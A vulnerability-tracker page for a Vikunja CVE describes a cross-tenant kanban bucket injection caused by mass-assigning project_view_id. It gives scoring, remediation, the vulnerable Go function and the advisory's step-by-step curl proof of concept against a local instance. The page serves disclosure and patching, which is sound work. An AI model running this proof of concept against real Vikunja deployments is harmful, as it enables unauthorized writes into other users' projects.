Skip to main content

Vikunja CVE-2026-55067

| EUVDEUVD-2026-67834 MEDIUM
Authorization Bypass Through User-Controlled Key (CWE-639)
2026-08-28 https://github.com/go-vikunja/vikunja GHSA-569v-q83c-3j3g
5.0
CVSS 3.1 · Vendor: https://github.com/go-vikunja/vikunja
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Vikunja instance
  2. Delivery
    Create bucket in attacker-owned project
  3. Exploit
    Enumerate sequential project_view_id integers
  4. Execution
    POST bucket update with victim view ID in body
  5. Impact
    Bucket injected into victim's kanban view

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Object-level authorization, IDOR prevention
Exploitation Conditions

The attacker must hold a valid authenticated session on the target Vikunja instance (any registered user account suffices; no elevated privileges required). The deployment must be multi-tenant - meaning at least one other user owns a separate project with a kanban view. The attacker needs a valid project_view_id for a victim view, which is feasible by enumerating sequential integers via the public API. No special server configuration, feature flag, or non-default setting is required; the vulnerable code path is active in any standard Vikunja deployment that uses kanban views (default behavior). Exploitation is bounded by two factors: the attacker must be authenticated (unauthenticated users cannot exploit this), and the impact is write-only defacement - the relocated bucket moves out of the attacker's authorization scope, so they cannot subsequently read or modify the victim's data.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N, score 5.0) accurately represents the threat: network-reachable, low complexity, requiring only a valid authenticated session (PR:L), with a scope change (S:C) because impact crosses tenant authorization boundaries. Integrity is low (I:L) - the attacker can inject arbitrary bucket titles into a victim's view but cannot read the victim's data, so confidentiality and availability are unaffected. A working POC is publicly documented in the advisory, materially lowering the exploitation barrier compared to a theoretical flaw. EPSS data was not provided in the intelligence feed. There is no CISA KEV listing, so active exploitation is unconfirmed. Real-world risk is meaningful for publicly accessible multi-tenant Vikunja instances where self-registration is enabled - any registered user becomes a potential attacker. Single-user, private, or access-restricted instances face negligible practical risk. The CVSS score is internally consistent with the described impact and is not inflated.

Exploit ScenarioDerived

An attacker registers or logs into a public Vikunja instance, creates a bucket in their own project, then issues sequential integers as project_view_id values in POST requests to identify a victim's kanban view. By sending {"title":"PWNED BUCKET","project_view_id":<victim_view_id>} to the bucket update endpoint, the attacker's bucket is silently moved into the victim's kanban board - visible to the victim with the attacker's username as created_by - and only the victim can delete it. A working curl-based POC demonstrating this exact sequence is published in advisory GHSA-569v-q83c-3j3g.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Cross-tenant kanban bucket injection in Vikunja API (≤ 2.3.0) allows any authenticated user to relocate their own bucket into any other tenant's project view by supplying an arbitrary project_view_id in the JSON request body of the bucket update endpoint. The Bucket.Update() function in pkg/models/kanban.go mass-assigns project_view_id directly to the database row via xorm, while the CanUpdate authorization check only validates the URL path parameters - never the body field. A detailed curl-based proof-of-concept is publicly available in the GitHub security advisory GHSA-569v-q83c-3j3g, though no active exploitation has been confirmed (not in CISA KEV).

RemediationAI

Upgrade Vikunja API to version 2.4.0 or later, available at https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0. The fix (PR #3239, commit b31d606b8879ebe98fbb2ac5d8b3066b86f59868) removes project_view_id from the mass-assignment column allowlist in Bucket.Update() and rejects payloads where the body's project_view_id does not match the bucket's existing value. If immediate upgrade is not feasible, operators of public multi-tenant instances can restrict self-registration to limit the attacker pool (trade-off: reduces usability for new users). Alternatively, a WAF or reverse-proxy rule blocking project_view_id in the body of POST /api/v1/projects/*/views/*/buckets/* requests would prevent exploitation but may break any future legitimate move-bucket feature. There is no known workaround that fully mitigates without patching.

Affected VersionsENISA

vikunja < 2.4.0

Affected Packages

go code.vikunja.io/api fix: 2.4.0
euvd vikunja fix: 2.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Vikunja is an open-source Go-based task management application (code.vikunja.io/api) that uses the xorm ORM for database operations. The vulnerable endpoint POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} calls Bucket.Update() in pkg/models/kanban.go (lines 348-359), which passes project_view_id as a column in an xorm Cols() update call - a textbook mass-assignment pattern where user-controlled body fields are written directly to the database. CWE-639 (Authorization Bypass Through User-Controlled Key) applies precisely: the authorization check (canDoBucket) validates only the URL path's bucket-to-project/view binding, but the body's project_view_id - a user-controlled relational foreign key - bypasses this check entirely and is persisted unchecked. Because project_view_id values are sequential integers, an attacker can trivially enumerate other tenants' view IDs via brute force.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-vikunja/vikunja) PRIMARY 5.0 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
vuln.today AI 5.0 MEDIUM

Authenticated network exploit crossing tenant boundaries justifies S:C and PR:L; write-only defacement yields I:L with no confidentiality or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/go-vikunja/vikunja).

CVSS VectorVendor: https://github.com/go-vikunja/vikunja

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's project_view_id onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's project_view_id is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as created_by.

This vulnerability was found using an LLM, and manually verified against latest (2.3.0).

Vulnerable code

pkg/models/kanban.go (lines 348-359):

go
func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
    _, err = s.
        Where("id = ?", b.ID).
        Cols(
            "title",
            "limit",
            "position",
            "project_view_id",   // mass-assigned from the request body
        ).
        Update(b)
    return
}

Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's project_view_id reaches Update unchecked and is written through.

Proof of Concept

Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.

Step 1: Attacker creates a fresh bucket in their own project.

bash
curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7

Step 2: Attacker updates bucket 7, supplying project_view_id = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.

bash
curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
#   "id": 7,
#   "title": "PWNED BUCKET",
#   "project_view_id": 4
# }

Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.

bash
curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
  -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
#   {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
#   {"id":1,"title":"To-Do","created_by":"victim"},
#   {"id":2,"title":"Doing","created_by":"victim"},
#   {"id":3,"title":"Done","created_by":"victim"}
# ]

After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. project_view_id is a sequential integer, so any tenant's view can be targeted by enumeration.

Impact

Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.

Fix

In (b *Bucket) Update, drop project_view_id from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where project_view_id != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Low
niche open-source self-hosted task manager, limited enterprise footprint
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +25
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy